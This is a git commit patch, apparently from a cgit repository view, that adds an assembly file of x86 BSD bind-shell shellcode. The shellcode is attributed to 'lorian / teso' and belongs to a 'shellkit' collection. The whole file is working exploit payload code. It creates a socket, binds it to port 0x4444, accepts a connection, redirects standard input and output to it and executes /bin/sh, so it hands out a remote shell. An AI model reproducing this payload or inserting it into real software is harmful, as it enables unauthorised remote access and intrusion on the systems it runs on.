From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_bsd/bindshell.s | 59 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 other/shellkit/x86_bsd/bindshell.s (limited to 'other/shellkit/x86_bsd/bindshell.s') diff --git a/other/shellkit/x86_bsd/bindshell.s b/other/shellkit/x86_bsd/bindshell.s new file mode 100644 index 0000000..8921fa9 --- /dev/null +++ b/other/shellkit/x86_bsd/bindshell.s @@ -0,0 +1,59 @@ +/* x86/BSD bindsh shellcode (73 bytes) + + lorian / teso +*/ + + .globl _cbegin + .globl cbegin + .globl _cend + .globl cend + +_cbegin: +cbegin: + xorl %ebx, %ebx + mull %ebx + pushl %ebx + incl %ebx + pushl %ebx + incl %ebx + pushl %ebx + movb $0x61, %al + pushl %ebx + int $0x80 + xchgl %esi, %eax + pushl %edx + pushw $0x4444 + pushw %bx + movl %esp, %ebp + pushl $0x10 + pushl %ebp + pushl %esi + pushl %esi + pushl $0x68 + popl %eax + int $0x80 + movb $0x6a, %al + int $0x80 + pusha + movb $0x1e, %al + int $0x80 +a: + pushl %ebx + pushl %eax + pushl %eax + movb $0x5a, %al + int $0x80 + decl %ebx + jns a + pushl %edx + movl %esp, %ebx + push $0x68732F6E + push $0x69622F2F + pusha + popl %esi + popl %esi + movb $0x3b, %al + int $0x80 + +_cend: +cend: -- cgit v1.3